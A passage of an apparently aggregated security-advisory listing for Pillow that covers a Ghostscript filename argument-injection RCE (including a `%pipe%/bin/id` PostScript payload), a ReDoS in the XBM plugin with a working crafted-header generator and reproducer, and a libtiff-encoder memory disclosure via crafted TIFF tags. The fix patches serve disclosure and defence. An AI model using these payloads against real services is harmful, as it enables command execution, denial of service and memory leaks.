1 dict dup /OutputFile (%pipe%/bin/id) put setpagedevice ``` ##### Impact **Confirmed — Ghostscript argument injection.** Because the filename is not validated, a leading `-`/`--` is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to `Image.open()` can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds. **Potential RCE (verified).** The filename is also not validated against Ghostscript's `@`-file syntax: a filename of the form `@<path>` causes Ghostscript to read additional command-line arguments from `<path>`, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of `id`). Applies under Pillow's default configuration (with `-dSAFER` enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1) ##### Why this is a Pillow bug (not the documented "block untrusted EPS" risk) This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@&#8203;) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API. ##### Author Chanu Kang (from CysecLab at KAIST) @&#8203;HLe4s #### Severity - CVSS Score: 9.2 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh](https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112900](https://nvd.nist.gov/vuln/detail/CVE-2026-112900) - [https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9](https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w889-685w-c8fh) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes BIT-pillow-2026-112901 / [CVE-2026-112901](https://nvd.nist.gov/vuln/detail/CVE-2026-112901) / [GHSA-xgh8-jp6q-p5x8](https://github.com/advisories/GHSA-xgh8-jp6q-p5x8) / PYSEC-2026-4335 <details> <summary>More information</summary> #### Details ``` ============================================================================ ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes Location: src/PIL/XbmImagePlugin.py:58 in XbmImageFile._open() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes. The cause is the `xbm_head` regular expression in `src/PIL/XbmImagePlugin.py:32-40`, which `XbmImageFile._open()` (line 58) runs over the first 512 bytes of any stream whose prefix starts with `#define`. Several adjacent parts of the pattern can match the same characters. `[ \t]+` overlaps with `.*` in the width and height lines and with `[^_]*` in the optional hotspot lines, and `[\r\n]+` closing the hotspot group overlaps with the following `[\000-\377]*`. The header sets a run of k spaces after each `#define` and a run of k line terminators after `_y_hot`, then omits the `[]` after `_bits`. That forces Python's backtracking matcher to try every way of splitting those runs and rescan the remaining bytes each time. The cost grows roughly as k to the fifth power: k = 60 measured 375 s, while a well-formed XBM of the same size opens in about 40 ms. Because this happens before any format is identified, none of Pillow's size, pixel-count or decompression-bomb limits apply, and upload size limits do not help because the file is tiny. `ImageFile.Parser.feed()` repeats the cost on every chunk until the stream is identified. The only existing mitigation is passing a `formats=` allowlist that excludes `"XBM"`. The attached reproducer opens the same header with and without the trailing `[]`. The valid version opens as XBM in 52 ms. The broken version takes 0.1 s, 0.75 s, 3.0 s and 8.6 s at k = 10, 15, 20 and 25, and the slow k = 60 case is not run. This is the same class of bug as CVE-2021-25292 in `PdfParser`, but in a different plugin and reachable from plain `Image.open()`. ##### Details `XbmImageFile._open()` identifies an XBM file by running the module-level regex `xbm_head` over the first 512 bytes of the stream. The pattern has several adjacent quantifier pairs that can consume the same characters, followed by a `[\000-\377]*_bits\[]` tail that rescans the rest of the buffer for every way of splitting them. A 512-byte input built to exercise all of them and then fail the final literal keeps `Image.open()` in `xbm_head.match()` for minutes before it raises `UnidentifiedImageError`. This 512-byte input (k = 60) takes 375 s of CPU in `Image.open(io.BytesIO(data))` with default settings, measured on the stock build at this commit: ```python k = 60 data = b"#define" + b" "*k + b"_width 1\r" data += b"#define" + b" "*k + b"_height 1\r" data += b"#define" + b" "*k + b"_x_hot 1\r" data += b"#define" + b" "*k + b"_y_hot 1" + b"\r"*k data += b"_bits" # no "[]": the final literal never matches data += b"A" * (512 - len(data)) # pad to the 512 bytes _open() reads ``` Calling `XbmImagePlugin.xbm_head.match(data)` directly gives the same picture: k = 10 → 0.11 s, k = 15 → 0.76 s, k = 20 → 3.0 s, k = 25 → 8.5 s, k = 30 → 19.9 s (roughly ×27 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 µs and opens and loads through `Image.open()` in ~40 ms including plugin import; the same k = 60 header with `_bits[]` present matches in 5 µs. The regex, `src/PIL/XbmImagePlugin.py:32`: ```python xbm_head = re.compile( rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+" b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+" b"(?P<hotspot>" b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+" b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+" b")?" rb"[\000-\377]*_bits\[]" ) ``` and the only call site, `src/PIL/XbmImagePlugin.py:58`: ```python def _open(self) -> None: … m = xbm_head.match(self.fp.read(512)) if not m: msg = "not a XBM file" raise SyntaxError(msg) ``` For a well-formed header (`#define im_width 8\n…static char im_bits[] = {`) each `[ \t]+` eats the single space, `.*`/`[^_]*` eat the identifier prefix, and `[\000-\377]*_bits\[]` finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points: - `[ \t]+.*_width` and `[ \t]+.*_height`: the run of k spaces after `#define` can be split between `[ \t]+` and `.*` in k ways, all leading to the same continuation. Factor k each. (The choice of `\r` terminators is incidental: the same header with `\n` terminators is equally slow.) - `[ \t]+[^_]*_x_hot` and `[ \t]+[^_]*_y_hot` inside the optional `hotspot` group: `[^_]*` also matches spaces, so the same k-way split exists twice more. Factor k each. These two lines are essential: without them the same input is rejected in about 10 ms. - `[\r\n]+` closing the `hotspot` group, followed by `)?` and `[\000-\377]*`: the run of k `\r` bytes after `_y_hot 1` can be divided between `[\r\n]+` and `[\000-\377]*` in k ways. Factor k. - `[\000-\377]*_bits\[]`: for every combination above, the engine swallows the remaining ~150 bytes of padding and walks back looking for `_bits[]`. The input contains `_bits` but never `[]`, so this always fails and every combination is visited. CPython's `re` is a backtracking engine without memoisation, so the total work is on the order of k^5 × (512 − header length) steps — about 10^11 for k = 60, consistent with the measured 375 s. The 512-byte read caps k (5k + ~60 ≤ 512), so the cost per `open()` is bounded, but the bound is minutes of CPU. The path is the default one. `Image.open()` (`src/PIL/Image.py:3719`) reads a 16-byte prefix and offers it to every registered plugin's accept hook; `XbmImagePlugin._accept()` (`src/PIL/XbmImagePlugin.py:43`) returns true for anything whose left-stripped prefix starts with `#define`, and `_open()` then runs the regex. No size, pixel-count or decompression-bomb check can apply before this point because nothing has been parsed yet, and since the match ultimately fails the file is never identified, so the only outcome for the caller is `UnidentifiedImageError` after the delay. File name and extension are irrelevant because dispatch is by content. A `faulthandler` stack dump taken 20 s into the call shows the interpreter at `XbmImagePlugin.py:58 in _open` ← `ImageFile.py:154 in __init__` ← `Image.py:3699 in _open_core` ← `Image.py:3719 in open`. `ImageFile.Parser.feed()` (`src/PIL/ImageFile.py:584`) amplifies this further: until the stream is identified it calls `Image.open()` on all accumulated data at every `feed()`, so an application feeding the stream in chunks pays the regex cost once per chunk (measured: k = 15 header fed in 8 chunks → 4.6 s versus 0.76 s for a single `open()`). ##### Impact Anyone who can get 512 bytes in front of `Image.open()` — an upload endpoint, thumbnailer, or any service that uses Pillow to sniff whether a blob is an image — pins one CPU core of the handling process for roughly six minutes per request with the default plugin set and default limits. Nothing large is allocated and no `DecompressionBombWarning`/`Error` fires; application-side upload size limits do not help because the file is tiny, and `Image.MAX_IMAGE_PIXELS` is never consulted because no image is ever identified. A handful of concurrent requests is enough to exhaust a typical worker pool. The per-call cost is bounded by the 512-byte header read, so this is a CPU-exhaustion denial of service of the handling process rather than an infinite loop. Applications that pass an explicit `formats=` allowlist to `Image.open()` that excludes `"XBM"` are not affected. This is the same bug class as CVE-2021-25292 (catastrophic backtracking in the `PdfParser` regexes, fixed in 8.1.1) and CVE-2021-23437 (`ImageColor.getrgb` ReDoS, fixed in 8.3.2), in a different plugin; unlike the PDF case it is reached from plain `Image.open()` on any byte stream. ##### Reproducing `repro` is a single Python script. It uses the installed Pillow through the public `Image.open()` API and needs no rebuild. Each input is the 512-byte header from Details: four `#define` lines with k spaces after `#define`, lines ending in `\r`, k `\r` bytes after `_y_hot 1`, padding with `A` up to the 512 bytes that `_open()` reads. The only thing that changes between inputs is the tail: `_bits[]` (valid) or `_bits` (the final literal can never match). 1. **Control.** Opens the k = 60 header with the tail `_bits[]`. The regex matches on its first try and Pillow reports `XBM (1, 1)` in about 50 ms. This shows that the same bytes are only slow when the match has to fail. 2. **Attack.** Opens the header with the tail `_bits` at k = 10, 15, 20 and 25. Each one raises `UnidentifiedImageError`, after about 0.1 s, 0.75 s, 3.0 s and 8.6 s. The time grows polynomially, not linearly. The k = 60 input from Details, which takes about 6 minutes of CPU, is not run. Expected output on this commit: ``` control k=60 '_bits[]': XBM (1, 1) in 0.052s attack k=10 '_bits' : UnidentifiedImageError in 0.105s attack k=15 '_bits' : UnidentifiedImageError in 0.748s attack k=20 '_bits' : UnidentifiedImageError in 3.024s attack k=25 '_bits' : UnidentifiedImageError in 8.561s BUG ``` The script prints `BUG` only when all of these hold: - the control header opened as `XBM` in under 1 s; - the k = 25 attack input took more than 2 s; - the k = 25 attack input took more than 5 times as long as the k = 15 one, i.e. the cost grows super-linearly in k. Otherwise it prints `OK`. With the attached patch applied, every attack input is rejected at once, so the script prints `OK`. ##### Suggested fix The attached patch removes the overlap between `[ \t]+` and the quantifier that matches the identifier prefix in `xbm_head` (`src/PIL/XbmImagePlugin.py:32-40`), so the whitespace after `#define` can be consumed in exactly one way and the identifier cannot run across line terminators. It matches the identifier with `[^ \t\r\n]*` (and `[^ \t\r\n_]*` in the hotspot group, which keeps the existing "no underscore before `_x_hot`/`_y_hot`" behaviour); the remaining quantifier pairs are then either over disjoint character classes or reduce to a single linear rescan of at most 512 bytes: ```diff xbm_head = re.compile( - rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+" - b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+" + rb"\s*#define[ \t]+[^ \t\r\n]*_width[ \t]+(?P<width>[0-9]+)[\r\n]+" + rb"#define[ \t]+[^ \t\r\n]*_height[ \t]+(?P<height>[0-9]+)[\r\n]+" b"(?P<hotspot>" - b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+" - b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+" + rb"#define[ \t]+[^ \t\r\n_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+" + rb"#define[ \t]+[^ \t\r\n_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+" b")?" rb"[\000-\377]*_bits\[]" ) ``` This mirrors the `PdfParser` fix for CVE-2021-25292. The patch also adds a `test_redos` case to `Tests/test_file_xbm.py`, in the style of the one in `Tests/test_file_pdf.py`: it builds the k = 60 header from Details and, under `@timeout_unless_slower_valgrind(1)`, expects `XbmImageFile` to raise `SyntaxError`. With the patch applied to a clean checkout and rebuilt, the reproducer prints `OK` and the existing `Tests/test_file_xbm.py` (including `hopper.xbm`, `hopper_underscore.xbm` and the hotspot round-trip) still passes. The change does reject headers whose identifier contains whitespace (`#define foo bar_width 16`), which is not valid C and is not produced by Pillow's own XBM writer. ##### The patch Use more specific regex chars in the XBM header regex to prevent ReDoS in Image.open() on a crafted 512-byte header Applies to `src/PIL/XbmImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_xbm.py b/Tests/test_file_xbm.py index 1988c417f..67236c795 100644 --- a/Tests/test_file_xbm.py +++ b/Tests/test_file_xbm.py @@ -6,7 +6,7 @@ import pytest from PIL import Image, XbmImagePlugin -from .helper import hopper +from .helper import hopper, timeout_unless_slower_valgrind TYPE_CHECKING = False if TYPE_CHECKING: @@ -91,3 +91,17 @@ def test_hotspot(tmp_path: Path) -> None: with Image.open(out) as reloaded: assert reloaded.info["hotspot"] == hotspot + + +@timeout_unless_slower_valgrind(1) +def test_redos() -> None: + k = 60 + malicious = b"#define" + b" " * k + b"_width 1\r" + malicious += b"#define" + b" " * k + b"_height 1\r" + malicious += b"#define" + b" " * k + b"_x_hot 1\r" + malicious += b"#define" + b" " * k + b"_y_hot 1" + b"\r" * k + b"_bits" + malicious += b"A" * (512 - len(malicious)) + + # The important thing is it doesn't timeout, cause a ReDoS + with pytest.raises(SyntaxError): + XbmImagePlugin.XbmImageFile(BytesIO(malicious)) diff --git a/src/PIL/XbmImagePlugin.py b/src/PIL/XbmImagePlugin.py index 95729d73d..7435d20f2 100644 --- a/src/PIL/XbmImagePlugin.py +++ b/src/PIL/XbmImagePlugin.py @@ -29,12 +29,14 @@ if TYPE_CHECKING: from typing import IO # XBM header +# The identifier before each suffix cannot contain whitespace, so that it +# cannot overlap with the preceding [ \t]+ and cause a ReDoS xbm_head = re.compile( - rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+" - b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+" + rb"\s*#define[ \t]+[^ \t\r\n]*_width[ \t]+(?P<width>[0-9]+)[\r\n]+" + rb"#define[ \t]+[^ \t\r\n]*_height[ \t]+(?P<height>[0-9]+)[\r\n]+" b"(?P<hotspot>" - b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+" - b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+" + rb"#define[ \t]+[^ \t\r\n_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+" + rb"#define[ \t]+[^ \t\r\n_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+" b")?" rb"[\000-\377]*_bits\[]" ) ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 1,138 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### XbmImagePlugin.xbm_head catastrophic backtracking, reached from Image.open() ##### on a <=512-byte stream. Prints BUG if a failing 512-byte header takes ##### super-linearly long while the same-shaped valid header opens instantly. import io, time from PIL import Image def hdr(k, tail): d = b"" for name in (b"_width 1\r", b"_height 1\r", b"_x_hot 1\r", b"_y_hot 1"): d += b"#define" + b" " * k + name d += b"\r" * k + tail return d + b"A" * (512 - len(d)) def timed(data): s = time.perf_counter() try: im = Image.open(io.BytesIO(data)); r = f"{im.format} {im.size}" except Exception as e: r = type(e).__name__ return r, time.perf_counter() - s ctl, tc = timed(hdr(60, b"_bits[]")) print(f"control k=60 '_bits[]': {ctl} in {tc:.3f}s") ts = {} for k in (10, 15, 20, 25): r, ts[k] = timed(hdr(k, b"_bits")) print(f"attack k={k:2d} '_bits' : {r} in {ts[k]:.3f}s", flush=True) ##### k=60 (fits easily in 512 bytes) runs for minutes; not executed here. bug = ctl.startswith("XBM") and tc < 1 and ts[25] > 2 and ts[25] > 5 * ts[15] print("BUG" if bug else "OK") ``` </details> --- #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-xgh8-jp6q-p5x8](https://github.com/python-pillow/Pillow/security/advisories/GHSA-xgh8-jp6q-p5x8) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112901](https://nvd.nist.gov/vuln/detail/CVE-2026-112901) - [https://github.com/python-pillow/Pillow/commit/2852a3e3d568997ddec745fc800991f138878f4b](https://github.com/python-pillow/Pillow/commit/2852a3e3d568997ddec745fc800991f138878f4b) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xgh8-jp6q-p5x8) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags [CVE-2026-112902](https://nvd.nist.gov/vuln/detail/CVE-2026-112902) / [GHSA-xvh5-g6gv-559v](https://github.com/advisories/GHSA-xvh5-g6gv-559v) <details> <summary>More information</summary> #### Details ``` ============================================================================ Memory disclosure and segfault in libtiff encoder via crafted TIFF tags Location: src/encode.c:1014 in PyImaging_LibTiffEncoderNew() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary `Image.open()` followed by a bare `im.save(fp, "TIFF")`. The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from `_imaging.so`'s read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run. The bug is in `PyImaging_LibTiffEncoderNew` (`src/encode.c`). It decides what arguments to pass to the variadic `TIFFSetField()` from the shape of the Python value (scalar, tuple or bytes). It assumes its `ImagingLibTiffMergeFieldInfo()` call defined how libtiff will read them. But `TIFFMergeFieldInfo()` never overrides libtiff's built-in field table, so libtiff reads the arguments according to its own definition of the tag: - For a counted array tag such as DNGPrivateData (50740), a count-1 integer in the source file is taken as the byte count. The data pointer is then read from an argument slot Pillow never wrote, and that many bytes are copied into the output. - For a fixed-size array tag such as ActiveArea (50829), the integer itself is used as the source address. Where that unwritten slot points depends on the compiler. In the tested clang build it points into `_imaging.so`, and a larger count returned thousands of pointers into libpython, libc and libtiff, which defeats address-space randomisation for anyone chaining another bug. When the application preserves metadata with `tiffinfo=im.tag_v2`, a 64-bit entry turns ActiveArea into a 16-byte read from an address the attacker chooses. All observed memory errors are reads; no out-of-bounds write was found. Other branches of the same loop share the defect and are reachable from crafted TIFFs or from EXIF in JPEG/PNG/WebP re-saved as compressed TIFF. These are the `bytes`, RATIONAL-tuple and typed-tuple branches, and a BYTE-typed ColorMap. The file-reachable forwarding was introduced in `a3d45e9cefd0` ("Added custom int and float TIFF tags") and first released in 5.4.0. ##### Details `PyImaging_LibTiffEncoderNew` (`src/encode.c:777-1060`) chooses the argument list it hands to the variadic `TIFFSetField()` from the *Python* value of each tag — scalar vs. tuple vs. `bytes`, and a type that is either autodetected or copied from the source file's IFD — and assumes that its own `ImagingLibTiffMergeFieldInfo()` registration defines how libtiff will read the `va_list`. It does not: libtiff keeps its built-in definition for every tag it already knows, and core tags are never registered at all. libtiff therefore consumes the varargs as `(count, pointer)`, `(pointer)` or three pointers according to *its* field table, whatever Pillow actually pushed. The encoder never consults that table (`TIFFFindField` / `TIFFFieldPassCount` / `TIFFFieldWriteCount` / `TIFFFieldDataType`) before the call. The most severe instance, and the one the attached reproducer exercises: when a TIFF is re-saved through the libtiff writer, every tag of the source IFD that Pillow does not recognise is forwarded to libtiff with `TIFFSetField()`. A count-1 integer entry is passed as a single scalar vararg. If libtiff's own field table defines that tag number as an *array* field, libtiff consumes the varargs as `(count, pointer)` or `(pointer)` instead, so the attacker's integer becomes either the number of bytes to copy from a never-written vararg slot, or the source address itself. The same mismatch is reachable through the typed tuple branches (tuple length consumed as a pointer for fixed-count built-in tags such as `CFARepeatPatternDim`, even when the source file is well-formed), the `bytes`, `TIFF_RATIONAL`-tuple and core-tag branches of the same loop; those are listed under *Other branches with the same defect* below and need to be covered by the same fix. A 181-byte TIFF (16×16 RGB, one LZW strip, plus one extra IFD entry `50740 / LONG / count 1 / value 4096` — DNGPrivateData) opened with `Image.open()` and saved with a bare `im.save(buf, "TIFF")` produces a 4296-byte output whose tag 50740 holds 4096 bytes that occur nowhere in the input; scanning `/proc/self/mem` finds them in the read-only data segment of `_imaging.so`. Changing the extra entry to `50829 / LONG / 1 / 64` (ActiveArea) makes the same two calls segfault in `memcpy(dst, src=0x40, n=16)` under `ImagingLibTiffSetField` ← `PyImaging_LibTiffEncoderNew`. An ASan build of the extensions reports `READ of size 4096` in `memcpy` called from `src/encode.c:1014` for the first input. ##### Code path `_save` copies all tags of the opened image into the libtiff attribute list. For a tag that is neither in `LIBTIFF_CORE` nor in `TiffTags.TAGS_V2`, no type is recorded, so the value goes through untyped: ```python ##### src/PIL/TiffImagePlugin.py:1782 supplied_tags = {**legacy_ifd, **getattr(im, "tag_v2", {})} … ##### :1959-1982 for tag, value in itertools.chain(ifd.items(), supplied_tags.items()): if tag not in TiffTags.LIBTIFF_CORE: … elif isinstance(value, (int, float, str, bytes)) or …: type = TiffTags.lookup(tag).type # None for 50740, 50829, … if type: types[tag] = type if tag not in atts and tag not in blocklist: … atts[tag] = value # plain int 4096 ``` `compression` defaults to the source image's `im.info["compression"]` (`TiffImagePlugin.py:1731-1746`), so a compressed source selects the libtiff writer without the application asking for it. In the encoder the untyped `int` is autodetected as `TIFF_LONG` (`src/encode.c:805-815`), the tag is "registered" as a scalar custom field, and then set with one 32-bit vararg: ```c // src/encode.c:844 (is_var_length = 0 → writecount 1, passcount 0) if (ImagingLibTiffMergeFieldInfo(&encoder->state, type, key_int, is_var_length)) { … continue; } … // src/encode.c:1013-1016 } else if (type == TIFF_LONG || type == TIFF_IFD) { status = ImagingLibTiffSetField( &encoder->state, (ttag_t)key_int, (UINT32)PyLong_AsLong(value) ); ``` The registration does not do what the caller assumes. `TIFFMergeFieldInfo()` only adds definitions for tags libtiff does not already know and returns 0 (success) either way, so for tags in libtiff's built-in table the built-in definition stays in force. Queried against the linked libtiff 4.5.0 after exactly Pillow's merge call: ``` 50740 DNGPrivateData type=BYTE passcount=1 writecount=-1 (unchanged) 50829 ActiveArea type=LONG passcount=0 writecount=4 (unchanged) 65000 CustomField type=LONG passcount=0 writecount=1 (Pillow's definition, tag was unknown) ``` libtiff's setter for `FIELD_CUSTOM` tags then interprets the `va_list` according to *its* definition: for `passcount=1` it reads `va_arg(ap, int)` as the element count — the attacker's 4096 — allocates `count * size` bytes and `memcpy`s that many bytes from `va_arg(ap, void *)`, a slot `PyImaging_LibTiffEncoderNew` never wrote. On x86-64 that slot is register `rcx`; in this build it holds a pointer into `_imaging.so`'s `.rodata`, so the copy succeeds deterministically (a value of 2 000 000 also succeeds and yields a 2 000 200-byte output). `TIFFWriteDirectory` writes the copied bytes into the output file as the tag's value. For fixed-count array fields (`passcount=0`, `writecount=4` for ActiveArea) there is no count argument, so the attacker's scalar is consumed as the `void *` source and 16 bytes are read from address 64 → SIGSEGV. Tags in libtiff 4.5's built-in table that Pillow forwards untyped and that take the `(count, pointer)` form include DNGPrivateData 50740, CFAPattern 33422, CFAPlaneColor 50710, LinearizationTable 50712, BlackLevel 50714, WhiteLevel 50717, ColorMatrix1/2 50721/50722, AsShotNeutral 50728, OriginalRawFileName/Data 50827/50828, AsShotICCProfile 50831, CurrentICCProfile 50833. Fixed-count ones (pointer only → crash) include ActiveArea 50829, DNGVersion/DNGBackwardVersion 50706/50707, DefaultScale/DefaultCropOrigin/DefaultCropSize 50718–50720, AsShotWhiteXY 50729, CFARepeatPatternDim 33421, BlackLevelRepeatDim 50713, ImageLayer 34732, RawDataUniqueID 50781. When the application saves with `tiffinfo=im.tag_v2` (the documented way to preserve metadata), the file-declared type is honoured, and a `LONG8` entry reaches the `(uint64_t)PyLong_AsLongLong(value)` branch at `src/encode.c:1049-1052`. For ActiveArea that is a 16-byte read from a full 64-bit attacker-chosen address into the output: a source entry `50829 / LONG8 / 1 / <address of a Python bytes object>` produced an output ActiveArea of `(b'SECR', b'ET-T', b'OKEN', b'-012')` in testing. The comment above `blocklist +=` at `TiffImagePlugin.py:1938-1944` already notes that array tags with the wrong length "will result in segfaults"; the blocklist covers only a handful of tags Pillow itself knows, not the ones libtiff knows and Pillow does not. Forwarding of these tags was introduced in `a3d45e9cefd0` ("Added custom int and float TIFF tags", 2018-10-25), first released in 5.4.0; releases 2.0.0–3.0.0 forwarded them as scalars too, until `9fa6634f4` ("Partial fix for #&#8203;1597") limited `_save` to `LIBTIFF_CORE`. ##### Other branches with the same defect The scalar-integer branch above is one of several places in the same loop where the call shape is derived from the Python value rather than from libtiff's definition. All of the following were confirmed on this commit (stock build crashes and/or ASan reports, stack always `memcpy ← libtiff ← ImagingLibTiffSetField src/libImaging/TiffDecode.c:934 ← PyImaging_LibTiffEncoderNew`), and all are reachable from a sub-1 KB crafted file followed by an ordinary `save()`: * **Typed tuple → `(len, av)` for a fixed-count built-in field** (`src/encode.c:904-994`, the SHORT/LONG/SBYTE/SSHORT/SLONG/FLOAT/DOUBLE tuple branches all call `ImagingLibTiffSetField(..., len, av)`). For libtiff built-in fields with `passcount=0` and a fixed `writecount` — `CFARepeatPatternDim` 33421 (SHORT×2), `BlackLevelRepeatDim` 50713 (SHORT×2), `ImageLayer` 34732 (LONG×2), `ActiveArea` 50829 (LONG×4), `MatrixWorldToScreen/Camera` 33305/33306 (FLOAT×16) — libtiff takes the *first* vararg as the source pointer, so the tuple length becomes the `memcpy` source address. A perfectly well-formed 206-byte 8×8 PackBits TIFF carrying `33421 / SHORT / 2 / (2, 2)` re-saved with a bare `im.save(out, "TIFF")` dies with SIGSEGV in `memcpy` (gdb: `rsi = 0x2`, the tuple length) on every run; so does `Image.new("L", (8, 8)).save(buf, "TIFF", compression="packbits", tiffinfo={33421: (2, 2)})`, and a JPEG whose EXIF carries the tag saved with `exif=im.getexif()` into a compressed TIFF. `bytes` values for built-in fixed-count BYTE tags (e.g. `DNGVersion` 50706, BYTE×4) crash the same way through the `(PyBytes_Size, PyBytes_AsString)` call at `src/encode.c:860-865`. The mirror image for `passcount=1` fields: `Photoshop` 34377 declared SHORT, count 1, value 60000 takes the scalar branch at `:1009-1012`, libtiff reads 60000 as the count and an unpassed vararg as the pointer, and the re-save *succeeds* with a 60162-byte output whose tag 34377 holds 60000 bytes of process memory (here C prototype strings from `_imaging.so`'s `.rodata`). * **`bytes` value → single `char *`** (`src/encode.c:805-815` autodetects `bytes` as `TIFF_ASCII`; `:1033-1042` passes `PyBytes_AsString(value)` alone). `ImageFileDirectory_v2._setitem` stores a BYTE-typed entry as bare `bytes` and an ASCII-typed one as `str` (encoded to `bytes` by `_save`), so the file's declared type selects this branch. - `ColorMap` (320) declared BYTE with 4 bytes of data in a non-palette PackBits TIFF: 320 is in `core_tags[]`, no type is consulted, the value skips the 768-tuple `TIFFTAG_COLORMAP` branch (`:871-895`) and libtiff reads three `uint16_t *` and copies `1 << BitsPerSample` shorts from each — a 512-byte over-read of the 5-byte Python bytes buffer, then dereference of two stale argument registers → SIGSEGV on every run of `Image.open(f); im.save(out, "TIFF")`. `COLORMAP` is not in `_save`'s `blocklist`. - `Photoshop` (34377) declared ASCII: `_save` copies value *and* type (`TiffImagePlugin.py:1802-1818`; only `IPTC_NAA_CHUNK` has a BYTE/UNDEFINED type guard there, from commit 2245df0a — `PHOTOSHOP_CHUNK` and `XMP` do not). libtiff's definition is BYTE, `passcount=1`, so the low 32 bits of the `char *` become the byte count for a `memcpy` from a stale register (ASan: `READ of size 3518384`; stock: SIGSEGV in about half of runs, otherwise `RuntimeError`). `ICCProfile` (34675) declared ASCII behaves the same way via `im.info["icc_profile"]` → `ifd[ICCPROFILE]` (`TiffImagePlugin.py:1822-1824`). * **`TIFF_RATIONAL` tuple → array with no count** (`src/encode.c:995-1006`; compare the `TIFF_FLOAT` branch at `:969-981`, which passes `len, av`). - For a private tag (e.g. 50000) Pillow itself registers the field with `passcount=1` (`TiffDecode.c:904-908`), so libtiff takes the low 32 bits of `av` as the element count and the next stale vararg as the source: `heap-buffer-overflow READ of size 119872 … right of 8-byte region` under ASan (`119872 == 4 * low32(av)`), SIGSEGV in ~4 of 5 stock runs. Reached by a JPEG whose EXIF carries one private RATIONAL×2 tag saved with `im.save(out, "TIFF", compression="tiff_lzw", 